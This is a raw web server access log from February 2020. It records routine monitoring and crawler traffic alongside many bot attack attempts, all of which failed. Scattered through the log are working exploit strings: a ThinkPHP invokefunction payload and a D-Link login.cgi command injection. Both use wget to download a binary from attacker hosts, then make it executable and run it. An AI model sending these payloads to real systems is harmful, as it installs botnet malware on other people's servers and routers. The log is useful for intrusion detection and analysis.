66.249.70.27 - - [13/Feb/2020:11:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:11:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.79.127.16 - - [13/Feb/2020:11:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:11:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.68.255.82 - - [13/Feb/2020:11:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.143.220.189 - - [13/Feb/2020:11:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [13/Feb/2020:11:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.81.229.191 - - [13/Feb/2020:11:24:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:11:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.126.142 - - [13/Feb/2020:11:26:37 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [13/Feb/2020:11:26:37 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [13/Feb/2020:11:26:37 +0100] "GET / HTTP/1.1" 200 1229 "https://sauni-moskva.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [13/Feb/2020:11:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
68.183.236.231 - - [13/Feb/2020:11:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
176.114.224.102 - - [13/Feb/2020:11:27:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.179.164.229 - - [13/Feb/2020:11:29:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.181 - - [13/Feb/2020:11:29:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.105.52 - - [13/Feb/2020:11:34:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.126.62.131 - - [13/Feb/2020:11:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:11:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.78 - - [13/Feb/2020:11:41:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.78 - - [13/Feb/2020:11:42:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.205.210 - - [13/Feb/2020:11:44:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.170.14.210 - - [13/Feb/2020:11:45:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.19 - - [13/Feb/2020:11:47:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.125.132 - - [13/Feb/2020:11:47:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [13/Feb/2020:11:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.213.192.224 - - [13/Feb/2020:11:51:28 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
199.19.225.173 - - [13/Feb/2020:11:51:28 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
183.80.154.205 - - [13/Feb/2020:11:52:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.77.123.165 - - [13/Feb/2020:11:52:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.165.74.81 - - [13/Feb/2020:11:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
88.250.186.134 - - [13/Feb/2020:11:55:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.250.186.134 - - [13/Feb/2020:11:55:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.127.53 - - [13/Feb/2020:11:57:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [13/Feb/2020:11:59:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.85.149.119 - - [13/Feb/2020:12:00:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [13/Feb/2020:12:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.36.172 - - [13/Feb/2020:12:01:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.129 - - [13/Feb/2020:12:03:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.73.136 - - [13/Feb/2020:12:03:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.7.241 - - [13/Feb/2020:12:04:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.56.68.48 - - [13/Feb/2020:12:05:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.205.210 - - [13/Feb/2020:12:05:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.34.76.147 - - [13/Feb/2020:12:06:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.62.211.83 - - [13/Feb/2020:12:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
178.254.220.207 - - [13/Feb/2020:12:10:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
43.230.193.17 - - [13/Feb/2020:12:11:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:12:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [13/Feb/2020:12:14:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [13/Feb/2020:12:16:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [13/Feb/2020:12:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.73.184.157 - - [13/Feb/2020:12:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
200.61.245.56 - - [13/Feb/2020:12:18:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.43.85.46 - - [13/Feb/2020:12:27:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.77.123.165 - - [13/Feb/2020:12:28:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:12:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.19 - - [13/Feb/2020:12:30:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [13/Feb/2020:12:30:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [13/Feb/2020:12:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.128.167 - - [13/Feb/2020:12:32:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.189.199 - - [13/Feb/2020:12:32:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:12:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.212.89 - - [13/Feb/2020:12:33:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
